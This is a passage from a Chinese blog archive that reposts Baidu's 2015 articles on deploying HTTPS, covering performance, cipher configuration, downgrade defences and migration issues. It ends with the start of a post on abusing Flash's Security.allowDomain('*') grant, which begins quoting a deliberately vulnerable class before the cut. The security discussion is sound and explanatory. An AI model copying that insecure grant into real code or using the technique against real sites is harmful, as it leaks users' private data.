支持算法有限。比如不支持 ECC,不支持 GCM 等。 2, 升级成本高。 a) 出现新的加密算法或者协议时,硬件加速方案无法及时升级。 b) 出现比较大的安全漏洞时,部分硬件方案在无法在短期内升级解决。比如 2014 年暴露的 heartbleed 漏洞。 3, 无法充分利用硬件加速性能。硬件加速程序一般都运行在内核态,计算结果传递到应用层需要 IO 和内存拷贝开销,即使硬件计算性能非常好,上层的同步等待和 IO 开销也会导致整体性能达不到预期,无法充分利用硬件加速卡的计算能力。 4, 维护性差。硬件驱动及应用层 API 大部分是由安全厂家提供,出现问题后还需要厂家跟进。用户无法掌握核心代码,比较被动。不像开源的 openssl,不管算法还是协议,用户都能掌握。 #### 3.4 TLS 远程代理计算 也正是因为上述原因,百度实现了专用的 SSL 硬件加速集群。基本思路是: 1, 优化 TLS 协议栈,剥离最消耗 CPU 资源的计算,主要有如下部分: a) RSA 中的加解密计算。 b) ECC 算法中的公私钥生成。 c) ECC 算法中的共享密钥生成。 2, 优化硬件计算部分。硬件计算不涉及协议及状态交互,只需要处理大数运算。 3, Web server 到 TLS 计算集群之间的任务是异步的。即 web server 将待计算内容发送给加速集群后,依然可以继续处理其他请求,整个过程是异步非阻塞的。 ### 4 HTTPS 安全配置 #### 4.1 协议版本选择 SSL2.0 早就被证明是不安全的协议了,统计发现目前已经没有客户端支持 SSL2.0,所以可以放心地在服务端禁用 SSL2.0 协议。 2014 年爆发了 POODLE 攻击,SSL3.0 因此被证明是不安全的。但是统计发现依然有 0.5% 的流量只支持 SSL3.0。所以只能有选择地支持 SSL3.0。 TLS1.1 及 1.2 目前为止没有发现安全漏洞,建议优先支持。 #### 4.2 加密套件选择 加密套件包含四个部分: 1, 非对称密钥交换算法。建议优先使用 ECDHE,禁用 DHE,次优先选择 RSA。 2, 证书签名算法。由于部分浏览器及操作系统不支持 ECDSA 签名,目前默认都是使用 RSA 签名,其中 SHA1 签名已经不再安全,chrome 及微软 2016 年开始不再支持 SHA1 签名的证书 (http://googleonlinesecurity.blogspot.jp/2014/09/gradually-sunsetting-sha-1.html)。 3, 对称加解密算法。优先使用 AES-GCM 算法,针对 1.0 以上协议禁用 RC4( rfc7465)。 4, 内容一致性校验算法。Md5 和 sha1 都已经不安全,建议使用 sha2 以上的安全哈希函数。 #### 4.3 HTTPS 防攻击 #### 4.3.1 防止协议降级攻击 降级攻击一般包括两种:加密套件降级攻击 (cipher suite rollback) 和协议降级攻击(version roll back)。降级攻击的原理就是攻击者伪造或者修改 client hello 消息,使得客户端和服务器之间使用比较弱的加密套件或者协议完成通信。 为了应对降级攻击,现在 server 端和浏览器之间都实现了 SCSV 功能,原理参考。 一句话解释就是如果客户端想要降级,必须发送 TLS_SCSV 的信号,服务器如果看到 TLS_SCSV,就不会接受比服务端最高协议版本低的协议。 #### 4.3.2 防止重新协商攻击 重新协商(tls renegotiation)分为两种:加密套件重协商 (cipher suite renegotiation) 和协议重协商(protocol renegotiation)。 重新协商会有两个隐患: 1, 重协商后使用弱的安全算法。这样的后果就是传输内容很容易泄露。 2, 重协商过程中不断发起完全握手请求,触发服务端进行高强度计算并引发服务拒绝。 对于重协商,最直接的保护手段就是禁止客户端主动重协商,当然出于特殊场景的需求,应该允许服务端主动发起重协商。 ### 5 结束语 HTTPS 的实践和优化涉及到了非常多的知识点,由于篇幅关系,本文对很多优化策略只是简单介绍了一下. 如果想要了解协议背后的原理,还是需要详细阅读 TLS 协议及 PKI 知识。对于大型站点来说,如果希望做到极致,HTTPS 的部署需要结合产品和基础设施的架构来进行详细的考虑,比起部署支持 HTTPS 的接入和对它的优化,在产品和运维层面上花费的功夫会更多。本系列的下一篇文章将进一步进行介绍。 ### 相关文章 * [大型网站的 HTTPS 实践(2):HTTPS 对性能的影响](http://blog.jobbole.com/86664/) * [大型网站的 HTTPS 实践(1):HTTPS 协议和原理](http://blog.jobbole.com/86660/) * [百度全站 https FAQ:技术宅告诉你如何搜索更安全](http://blog.jobbole.com/86657/) * [大型网站的 HTTPS 实践(4):协议层以外的实践](http://blog.jobbole.com/86670/) * [4个常用的HTTP安全头部](http://blog.jobbole.com/60143/) * [HTTPS连接的前几毫秒发生了什么](http://blog.jobbole.com/48369/) * [HTTPS是如何保证连接安全:每位Web开发者都应知道的](http://blog.jobbole.com/45530/) * [互联网全站HTTPS的时代已经到来](http://blog.jobbole.com/78042/) * [图解HTTPS](http://blog.jobbole.com/1309/) * [HTTPS 部署简要指南](http://blog.jobbole.com/57704/) [大型网站的 HTTPS 实践(3):基于协议和配置的优化](http://blog.jobbole.com/86668/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 大型网站的 HTTPS 实践(4):协议层以外的实践 Date: 2015-05-05 URL: https://blog.wo.ai/archives/948 Categories: Uncategorized # 1 前言 网上介绍 https 的文章并不多,更鲜有分享在大型互联网站点部署 https 的实践经验,我们在考虑部署 https 时也有重重的疑惑。 本文为大家介绍百度 HTTPS 的实践和一些权衡, 希望以此抛砖引玉。 # 2 协议层以外的实践工作 ## 2.1 全站覆盖 https 的理由 很多刚接触 https 的会思考,我是不是只要站点的主域名换了 https 就可以?答案是不行。 https 的目的就是保证传输过程的安全,如果只有主域名上了 https,但是主域名加载的资源,比如 js,css,图片没有上 https,会怎么样? 从效果上来说,没有达到保证网站传输过程安全的目的,因为你的 js,css,图片仍然有被劫持的可能性,如果这些内容被篡改 / 嗅探了,那么 https 的意义就失去了。 浏览器在设计上早就考虑的这样的情况,会有相应的提示。具体的实现依赖浏览器,例如地址栏锁形标记从绿色变为黄色, 阻止这次请求,或者直接弹出非常影响用户体验的提示 (主要是 IE),用户会感觉厌烦,疑惑和担忧安全性。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b849362fd_6941baebjw1ertg3f5fwyj20do058wev.jpg) 很多用户看见这个链接会习惯性的点”是”,这样非 https 的资源就被禁止加载了。非 ie 的浏览器很多也会阻止加载一些危害程度较高的非 https 资源(例如 js)。我们发现移动端浏览器的限制目前会略松一些。 所以这里要是没做好,很多情况连网站的基本功能都没法正常使用。 ## 2.2 站点的区别 很多人刚接触 https 的时候,觉得不就是部署证书,让 webserver 支持 https 就行了吗。 实际上对于不同的站点来说,https 的部署方式和难度有很大的区别。对于一个大型站点来说,让 webserver 支持 https,以及对 webserver 在 https 协议特性上做一些优化,在迁移的工作比重上,可能只占到 20%-40%。 我们考虑下以下几种情况下,部署 https 的方案。 ### 2.2.1 简单的个人站点 简单的定义:资源只从本站的主域或者主域的子域名加载。 比如 axyz 的个人 blog,域名是 axyzblog.com。加载主域名下的 js 和图片。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b849362fd_6941baebjw1ertg3fe3nmj20nu0art9t.jpg) 这样的站部署 https,在已有证书且 webserver 支持的情况下,只需要把主域名替换为 https 接入,然后把资源连接修改为 https:// 或者 //。 ### 2.2.2 复杂的个人站点 复杂的定义:资源需要从外部域名加载。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c093400ce7_6941baebjw1ertg3ev6t8j20o10cln00.jpg) 这样就比较麻烦了,主域资源容易适配 https,在 cdn 上加载的资源还需要 cdn 服务商支持 https。目前各大 cdn 的服务商正在逐渐提供 https 的支持,需要迁移的朋友可以看看自己使用的 cdn 是否提供了这项能力。一些 cdn 会对 https 流量额外收费。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c093400ce7_6941baebjw1ertg3edfqsj20cx03fwej.jpg) Cdn 使用 https 常见的方案有: 1 网站主提供私钥给 cdn,回源使用 http。 2 cdn 使用公共域名,公共的证书,这样资源的域名就不能自定义了。回源使用 http。 3 仅提供动态加速,cdn 进行 tcp 代理,不缓存内容。 4 CloudFlare 提供了**Keyless SSL** 的服务,能够支持不愿意提供私钥, 不想使用公共的域名和证书却又需要使用 cdn 的站点了。 ### 2.2.3 简单的大型站点 简单的定义: 资源只从本站的主域, 主域的子域,或者自建 / 可控的 cdn 域名加载,几乎没有第三方资源。如果网站本身的特性就如此,或愿意改造为这样的类型,部署 https 就相对容易。Google Twitter 都是非常好的范例。优点:已经改成这样的站点,替换 https 就比较容易。缺点:如果需要改造,那么要很大的决心,毕竟几乎不能使用多样化的第三方资源了。 ### 2.2.4 复杂,访问速度重要性稍低的大型站点 复杂的定义:从本站的非主域,或者第三方站点的域名有大量的第三方资源需要加载,多出现在一些平台类,或者有复杂内容展现的的网站。 访问速度要求:用户停留时间长或者强需求,用户对访问速度的耐受程度较高。比如门户,视频,在线交易类(比如火车票 机票 商城)网站。 这样的站点,可以努力推动所有相关域名升级为支持 https。我们用下图举例说明下这样修改会导致一个网站的链接发生怎样的改变。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1fa9e0807c_6941baebjw1ertg3e472aj20n104777f.jpg) 负责流量接入的团队将可控的接入环境改造为 http 和 https 都支持,这样前端工程的工作相对就少一些。大部分时候将链接从 http:// 替换为 // 即可. 在主域名是 https 的情况下,其它资源就能自动从 https 协议下加载。一些第三方资源怎么办?一般来说只有两种选择,一迁移到自己的 cdn 或者 idc 吧,二强制要求第三方自己能支持 https。 以全站 https 接入的 facebook 举例。第三方厂商想在 facebook 上线一个游戏。facebook:请提供 https 接入吧。第三方想:能赚钱啊,还是提供下 https 接入吧。所以,足够强势,有吸引力,合作方也有提供 https 的能力的话,这是完全可行的。如果你的平台接入的都是一些个人开发者,而且还赚不到多少钱的情况下,这样就行不通了。 优点:前端改动相对简单,不容易出现 https 下还有 http 的资源问题。 缺点:通常这样的实现下,用户的访问速度会变慢,比如从 2.5 秒变为 3 秒,如上述的理由,用户还是能接受的。对第三方要求高。 ### 2.2.5 复杂,访问速度有严格要求的大型站点 复杂的定义:同上。 访问速度要求:停留时间不长,用户对访问速度的心理预期较高。 但是如果用户把网站当作工具使用,需要你很快给出响应的时候,这样的实现就不好了。后续几个部分我们介绍下这些优化的抉择。 ## 2.3 域名的选择 域名对访问速度的影响具有两面性:域名多,域名解析和建立连接的时间就多;域名少,下载并发度又不够。 https 下重建连接的时间成本比 http 更高,对于上面提到的简单的大型站点, 可以用少量域名就能满足需求,对于百度这样富展现样式较多的搜索引擎来说,页面可能展示的资源种类太多。而不同类型的资源又是由不同的域名 (不同的产品 或者第三方产品) 提供的服务,换一个词搜索就可能需要重新建立一些资源的 ssl 链接,会让用户感受到卡顿。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e02be8cdc7_6941baebjw1ertg3dtn2jj20uf0afadz.jpg) 如果将域名限制在有限的范围,维持和这些域名的连接,合并一些数据,加上有 spdy,http2.0 来保证并发,是可以满足我们的需求的。 ## 2.4 连接复用 连接复用率可以分为 tcp 和 ssl 等不同的层面,需要分开进行分析和统计。 ### 2.4.1 连接复用的意义 HTTP 协议 (RFC2616) 规定一个域名最多不能建立超过 2 个的 TCP 连接。但是随着互联网的发展,一张网页的元素越来越多,传输内容越来越大,一个域名 2 个连接的限制已经远远不能满足现在网页加载速度的需求。 目前已经没有浏览器遵守这个规定,各浏览器针对单域名建立的 TCP 连接数如下: 浏览器 | 连接数 ---|--- Firefox 2 | 2 Firefox 3+ | 6 Chrome | 6 Ie10 | 8 IE8 | 6 Safari 5 | 6 Opera 12 | 6 表格 1 浏览器单域名建立的最大并发连接数 从上表看出,单个域名的连接数基本上是 6 个。所以只能通过增加域名的方式来增加并发连接数。在 HTTP 场景下,这样的方式没有什么问题。但是在 HTTPS 连接下,由于 TLS 连接建立的成本比较高,增加并发连接数本身就会带来较大的延迟,所以对域名数需要一个谨慎的控制。 特别是 HTTP2 即将大规模应用,而 HTTP2 的最大特性就是多路复用,使用多个域名和多个连接无法有效发挥多路复用和压缩的特性。 那 HTTPS 协议下,一张网页到底该有多少域名呢?这个其实没有定论,取决于网页需要加载元素个数。 ### 2.4.2 预建连接 既然从协议角度无法减少握手对速度的影响,那能不能提前建立连接,减少用户可以感知的握手延迟呢?当然是可以的。思路就是预判当前用户的下一个访问 URL,提前建立连接,当用户发起真实请求时,TCP 及 TLS 握手都已经完成,只需要在连接上发送应用层数据即可。 最简单有效的方式就是在主域下对连接进行预建,可以通过请求一些静态资源的方式。但是这样还是不容易做到极致,因为使用哪个连接,并发多少还是浏览器控制的。例如你对 a 域名请求一个图片,浏览器建立了两个连接,再请求一张图片的时候,浏览器很大概率能够复用连接,但是当 a 域名需要加载 10 个图片的时候,浏览器很可能就会新建连接了。 ### 2.4.3 Spdy 的影响 Spdy 对于连接复用率的提升非常有效,因为它能支持连接上的并发请求,所以浏览器会尽量在这个链接上保持复用。 ### 2.4.4 其它 也可以尝试一些其他发方法,让浏览器在访问你的网站之前就建立过 https 连接,这样 session 能够复用。HSTS 也能有效的减少跳转时间,可惜对于复杂的网站来说,开启需要考虑清楚很多问题。 ## 2.5 优化的效果 从百度的优化经验来看看,如果不开启 HSTS,用户在浏览器直接访问主域名,再通过 302 跳转到 HTTPS。增加的时间平均会有 400ms+,其中 302 跳转和 ssl 握手的因素各占一半。但是对于后续的请求,我们做到了对绝大部分用户几乎无感知。 这 400ms+ 还有很多可以优化的空间,我们会持续优化用户的体验。 # 3 HTTPS 迁移遇到的一些常见问题。 ## 3.1 传递 Referrer 我们可以把自己的网站替换为 https,但是一般的站点都有外链,要让外链都 https 目前还不太现实。很多网站需要从 referrer 中判断流量来源,因此对于搜索引擎这样的网站来说,referer 的传递还是比较重要的。如果不做任何设置,你会发现在 https 站点中点击外链并没有将 referrer 带入到 http 请求的头部中(http://tools.ietf.org/html/rfc7231#section-5.5.2)。现代的浏览器可以用 meta 标签来传递 refer。(http://w3c.github.io/webappsec/specs/referrer-policy) 传递完整的 url 只传递站点,不包含路径和参数等。 对于不支持 meta 传递 referrer 的浏览器,例如 IE8, 我们怎么办呢? 可以采用再次跳转的方法,既然 HTTPS 下不能给 HTTP 传递 referer,我们可以先从 HTTPS 访问一个可控的 http 站点,把需要传递的内容放到这个 http 站点的 url 中,然后再跳转到目标地址。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f7a6f54efa_6941baebjw1ertg3dkc5xj20ry07ngn1.jpg) ## 3.2 form 提交 有时需要将 form 提交到第三方站点,而第三方站点又是 http 的地址,浏览器会有不安全的警告。可以和 referrer 的跳转传递采取相似的逻辑。 但是这样对 referer 和 form 等内容的方案,并不是完美的解决方法,因为这样还是增加了不安全的因素(劫持,隐私泄露等 )。理想情况需要用户升级符合最新规范的浏览器,以及推进更多的站点迁移至 https。 ## 3.3 视频播放 简单来说,如果你使用 http 的协议来播放视频,那么浏览器仍然会有不安全的提示。所以你有两种选择,1 让视频源提供 https。2 使用非 http 的协议,如 rtmp 协议。 ## 3.4 用户异常 在 https 迁移的过程中,也会有不少热心的用户向我们反馈遇到的各种问题。 常见的有以下的一些情况: 1 用户的系统时间设置错误,导致提示证书过期。 2 用户使用 fiddler 等代理进行调试,但是没有添加这些软件的根证书,导致提示证书非法。 3 用户使用的 Dns 为公共 dns 或者跨网设置 dns,一些请求被运营商作为跨网流量拦截。 4 连通性有问题,我们发现一个小运营商的 https 失败率奇高,又没法联系到他们,只能不对他们进行 https 的转换。 5 慢。有时由于网络环境的因素,用户打开其他网站也慢,ping 哪个网站都要 500-2000ms。这时 https 自然也会很慢。 # 4 结束语 对于复杂的大型网站来说,HTTPS 的部署有很多工作要完成。 面对困难和挑战,有充足的动力支持着我们前进:https 上线后,劫持等原因导致的用户功能异常,隐私泄露的反馈大幅减少。 热心的用户经常会向我们反馈遇到的各种问题。在以前,有时即使我们确定了是劫持的问题,能够解决问题的方法也非常有限。每当这种时候,自己总会产生一些无力感。 HTTPS 的全站部署,给我们提供了能解决大部分问题的选项。能让一个做技术的人看到自己的努力解决了用户的问题,这就是最棒的收获。 HTTPS 没有想像中难用和可怕,只是没有经过优化。与大家共勉。 ### 相关文章 * [百度全站 https FAQ:技术宅告诉你如何搜索更安全](http://blog.jobbole.com/86657/) * [大型网站的 HTTPS 实践(1):HTTPS 协议和原理](http://blog.jobbole.com/86660/) * [大型网站的 HTTPS 实践(2):HTTPS 对性能的影响](http://blog.jobbole.com/86664/) * [大型网站的 HTTPS 实践(3):基于协议和配置的优化](http://blog.jobbole.com/86668/) * [4个常用的HTTP安全头部](http://blog.jobbole.com/60143/) * [HTTPS连接的前几毫秒发生了什么](http://blog.jobbole.com/48369/) * [图解HTTPS](http://blog.jobbole.com/1309/) * [HTTPS是如何保证连接安全:每位Web开发者都应知道的](http://blog.jobbole.com/45530/) * [SSL延迟有多大?](http://blog.jobbole.com/77624/) * [SPDY 是什么?如何部署 SPDY?](http://blog.jobbole.com/21622/) [大型网站的 HTTPS 实践(4):协议层以外的实践](http://blog.jobbole.com/86670/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 百度全站 https FAQ:技术宅告诉你如何搜索更安全 Date: 2015-05-05 URL: https://blog.wo.ai/archives/944 Categories: Uncategorized ## **你注意到了吗?百度已经全站实现 https 了!** 百度从 14 年开始对外开放了 https 的访问,并于 3 月初正式对全网用户进行了 https 跳转。 你也许会问,切换就切换呗,和我有啥关系?我平常用百度还不是照常顺顺当当的,没感觉到什么切换。 话说,平常我们呼吸空气也顺顺溜溜的,没有什么感觉,但要是没有了空气,那就没法愉快的生活了。https 对于互联网安全的重要性,正如空气对于我们人类的重要性一样。百度全站切换到 https 之后,我们才可以愉快的搜索,愉快的上网。 https 究竟是如何实现让我们更加安全呢,让百度技术宅来个深度揭秘: #### **问题 1:https 是什么?我有没有用到 https?** https 是 http over ssl(Secure Socket Layer),简单讲就是 http 的安全版本,在 http 的基础上通过传输加密和身份认证保证了传输过程中的安全性。你通常访问的网站大部分都是 http 的,最简单的方法可以看看网址是以 http:// 开头还是[https:// 开头](https://xn--2sst8k/)。 以下几个截图就是 chrome,firefox,IE10 在使用 https 时的效果。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/174a595819_6941baebjw1erta2sk2etj20d00320sx.jpg) 注意图中绿色的部分, 我们后面详细说说。 想进一步了解 HTTPS,可以阅读《大型网站的 HTTPS 实践(一)– HTTPS 协议和原理》 #### **问题 2:https 为什么比 http 安全?https 加密是不是需要我在电脑上安装证书 / 保存密码?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/174a595819_6941baebjw1erta2s5sc8j20go06o0uh.jpg) 不带“s”的 http 不安全,主要是因为它传输的是明文内容, 也不对传输双方进行身份验证。只要在数据传输路径的任何一个环节上,都能看到传输的内容,甚至对其进行修改。例如一篇文章”[攻下隔壁女生路由器后, 我都做了些什么](http://daily.zhihu.com/story/3603866)”中,很多攻击的环节,都是通过分析 http 的内容来进行。而在现实生活中呢,你很有可能泄露你的论坛高级会员账号 / 密码,游戏 vip 账号 / 密码,隐私的聊天内容,邮件,在线购物信息,等等。实在是太可怕的有木有! https 之所以安全,是因为他利用 ssl/tls 协议传输。举个简单的例子,电影风语者中,美军发现密码经常被日本窃听和破解,就征召了 29 名印第安纳瓦霍族人作为译电员,因为这语言只有他们族人懂。即使日本人窃听了电文,但是看不懂内容也没用;想伪造命令也无从下手,修改一些内容的话,印第安人看了,肯定会说看(shen)不(me)懂(gui)。看到这里,你肯定发现了,这是基于两边都有懂这个语言(加密解密规则)的人才行啊,那么我的电脑上需要安装什么密钥或者证书吗?一般情况作为普通用户是不用考虑这些的,我们有操作系统,浏览器,数学家,安全和网络工程师等等, 帮你都做好了, 放心的打开浏览器用就好啦。 如果你实在好奇,想知道双方不用相同的密钥如何进行加密的,可以搜索下”公钥加密”(非对称加密),”RSA”,” DH 密钥交换”, “ssl 原理” “数字证书”等关键词。 有朋友会想了,不就是加密吗,我 wifi 密码都能破,找个工具分分钟就破解了。这个想法可不对, 虽然没有绝对的安全,但是可以极大增加破解所需要的成本,https 目前使用的加密方式是需要巨大的计算量(按照目前计算机的计算能力)才可能破解的,你会用世界上最强的超级计算机花费 100 年(只是一个比喻)去解密,看看 100 年前隔壁老王在百度上搜什么吗。 #### **问题 3:百度为什么要上 https?** 我们每天会处理用户投诉,比如说: 页面出现白页 / 出现某些奇怪的东西 返回了 403 的页面 搜索不了东西 搜索 url 带了小尾巴, 页面总要闪几次 页面弹窗广告 搜索个汽车就有人给我打电话推销 4s 店和保险什么的 … ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/18a8e39e4f_6941baebjw1erta2rtusaj20ha06wmxx.jpg) 各种千奇百怪的情况碰到过的请举手。 查来查去,很大一部分原因是有些坏人在数据的传输过程中修改百度的页面内容,窃听用户的搜索内容。悄悄告诉你,https 就是能解决这样问题的技术哦, 赶紧把浏览器首页改成[https://www.baidu.com](https://www.baidu.com/)吧。 从方向上来说,HTTPS 也是未来的趋势,目前大家使用的 HTTP 还是 1.1/1.0 版本的,新的 HTTP2.0 版本的标准已经发布了。标准中涉及了加密的规范,虽然标准中没有强制使用,但是已经有很多浏览器实现声称他们只会支持基于加密连接的 HTTP2.0(https://http2.github.io/faq/#does-http2-require-encryption)。 #### **问题 4:https 不就是在 http 后面加个 s,很难么?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/18a8e39e4f_6941baebjw1erta2rhyqrj20qn0aagn5.jpg) 难,又不难。 它包含证书,卸载,流量转发,负载均衡,页面适配,浏览器适配,refer 传递等等等等。反正我指头肯定不够数。 对于一个超小型个人站点来说,技术宅 1 天就能搞定从申请证书到改造完成。如果是从零开始建设,会更容易。 但是对于百度搜索这种大胖纸来说,可就难了。 1 它一开始并不是为 https 设计的 2 内容丰富(内容本身的表现形式很多:图片,视频,flash,form 等等),种类丰富 (页面上除了自然结果,有视频,图片,地图,贴吧,百科 , 第三方的内容, app 等等)。 3 数据来源复杂,有几十个内部产品线的内容,几百个域名,成千上万个开发者的内容 4 百度在全国,甚至世界范围都有很多 idc 和 cdn 节点,都得覆盖到。 5 还不能因此拖慢了百度的速度 (国内使用 https 的银行, 在线交易的站点,有没有觉得很慢?) 6 上 https 本来就是为了更好的体验,可不能导致大家使用不稳定。 … 想了解更详细的内容,可以阅读《大型网站的 HTTPS 实践(四)– 协议层以外的实践 [1]》 Google 部署 https 花费了 1-2 年,13 年将证书从 1024 位升级到 2048 位花了 3 个月。百度也是去年就开放了入口和小流量,但是今年 3 月才进行全量上线,可以想像整体的复杂性。 #### **问题 5:如何看待百度搜索支持全站 https?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0dc54e9de9_6941baebjw1erta2rcl1sj20fx08v0tl.jpg) 国外的几个大型站点都 https 化了,这是未来互联网的趋势 (有兴趣的同学可以搜索下’http/2’ )。 对百度自身来说,https 能够保护用户体验,减少劫持 / 隐私泄露对用户的伤害。 很多人会有疑惑,我没有被劫持,百度上 https 有什么作用,反而让我变慢了一些。从我们的第一手数据可以看到,劫持的影响正越来越大,在法制不健全的环境下,它被当成一个产业,很多公司以它为生,不少以此创业的团队还拿到了风投。等它真正伤害到你的时候,你可能又会问我们为什么不做些什么。所以,我们宁愿早一些去面对它。 https 在国内的大型站点目前还只用在部分账户的登陆和支付等环节。百度也是国内第一个全站 https 的大型站点,它的用户非常多,流量也很大。百度能够上线 https 会打消大家的疑虑,对其他国内的站点是很好的示范,这个带头作用会显著加速国内互联网 https 的进程,有助于中国互联网的网络安全建设。百度作为搜索引擎,是流量的入口和分发的渠道,后续如果对 https 的站点内容的抓取,标记,权值倾斜,那么更能引导互联网的网站向 https 进行迁移。 #### **问题 6:https 慢不慢?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/320e502cc4_6941baebjw1erta2r06xmj20ne0cen1k.jpg) 繁重的计算和多次交互天然的影响了 https 的访问速度。。如果什么优化都不做,https 会明显慢很多。在百度已经进行过很多速度优化的条件下,如果站点本身已经做过常规优化,但是不针对 https 做优化,这种情况下我们实测的结果是 0.2-0.4 秒耗时的增加。如果是没有优化过的站点,慢 1 秒都不是梦。至于现在慢不慢呢,大家已经体验了这么多天了,有感觉吗? 答案:A 慢死了,你们在做啥? B 有些慢啊 C 还行, 基本无感 D 啥, 我已经用了 https 了? 是不是选的 C 或者 D?喂喂,选 A 的那位 你打开别的网站慢么, 以前没有上 HTTPS 的时候慢么。。。隔壁老王在蹭你网呢。 所以,不是慢,是没有优化。 #### **问题 7:https 耗性能吗?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/320e502cc4_6941baebjw1erta2qgz65j20et05hwfg.jpg) 答案是,握手的时候耗,建好连接之后就不太耗了。按照目前加密强度的计算开销,服务器支撑握手性能会下降 6-8 倍,但是如果建立好连接之后,服务器就几乎可能撑住打满网卡的 https 流量了。所以连接复用率的提升和计算性能的优化都是重点。可以阅读《大型网站的 HTTPS 实践(三)– 基于协议和配置的优化》 #### **问题 8:劫持有些什么样的途经?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e81b5641fd_6941baebjw1erta2pwx36j20gw07qaas.jpg) 你的电脑,你设置的 dns,你的浏览器,你用的网络,都有可能被劫持。 简单和大家介绍下运营商的内容劫持是如何进行的,运营商会分析你的网络请求,它可以先于网站回包,也能修改数据包的内容。所以它可以让你跳转一次,在网址上加上小尾巴,也能在你访问的页面弹出小广告。 感兴趣的话,还可以通过这篇文章看看你的电脑如何被 lsp 劫持的《[暗云木马](http://bbs.guanjia.qq.com/forum.php?mod=viewthread&tid=2936377&extra=page%3D1?ADTAG=client.pcmgr.tips.anyunmuma2)》 #### **问题 9:https 解决了所有劫持问题吗?** ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e46ec0edd7_6941baebjw1erta5acfibj21010futcg.jpg) 俗话说有终有始,我们来说一说文章开始说的浏览器上的绿色标记。它标志着这个安全连接可信赖的级别。绿色通常是好的,黄色则是说明有些不安全,例如在 https 的页面中加载了 http 的资源,这样 http 的资源还是有被劫持的风险。 其实客户端,局域网的风险也很大,恶意插件,木马可以做很多事情,你使用的路由器,DNS 也比较脆弱。如果某个大型网站被标记为了红色,那你就更要小心了 (当然也可能是某个猴子忘记了续费替换证书,导致证书过期了),你有可能遭受了 ssl 劫持 (中间人攻击的一种),特别是遇到如下图提示的时候(访问一些自己签名的站点也会有类似的提示)。中间人攻击还有其他种类的,比如代理你的通信让你退化 http, 还可以利用注入根证书,可以让你浏览器还是绿色的标记,就问你怕不怕? ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/72d704c66b_6941baebjw1erta5aiipoj20fo08074t.jpg) ![](http://ww3.sinaimg.cn/mw690/6941baebjw1erta2phsw4j20l107at9t.jpg) 还是那句话,没有绝对的安全,但是我们可以尽量降低风险。 https 能够在绝大部分情况下保证互联网访问数据传输的安全,这是目前我们力所能及的工作。 #### **问题 10:我应该如何更爽更快切换到 https?** 如此强悍有用的 https,我也想体验,在安全的互联网世界中翱翔,那么我该怎么做呢? 实际上你不需要动手,百度的攻城狮已经体贴的帮你做到了。现在访问百度试试,我们已经自动切换到 https 了,再也不用担心隐私泄露的问题,赶紧来体验吧! 另外以下一些技巧能有让 https 有更好的性能哦: 1 使用更高端大气上档次的浏览器(最好是非 IE 系列的,比如 chrome,firefox,safari 浏览器,或者百度等双核浏览器的极速模式。 2 把浏览器 首页或者收藏夹的百度 url 也换为 https://www.baidu.com,可以让你有更快更好的体验。 3 如何将百度设置成首页? 这里有详细的教程哦 http://www.baidu.com/cache/sethelp/help.html --- ## 隐私泄露杀手锏 —— Flash 权限反射 Date: 2015-05-04 URL: https://blog.wo.ai/archives/942 Categories: Uncategorized ## 前言 一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。 事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。 ## 原理 这一切还得从经典的授权操作说起: Security.allowDomain('*') 对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样? 显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。 因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。 **事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的** —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf! 被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。 我们如何将这种关联,进行充分利用呢? ## 利用 ### 关联容器 在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/280ad20c0e_6941baebjw1ersgw8uwgmj20e107xzl3.jpg) 因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。 **然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!** 听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。 偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。 最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。 有这样扩展元素存在,我们就可以访问那些额外的功能了。 开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能: // vul.swf public class Vul extends Sprite { public var 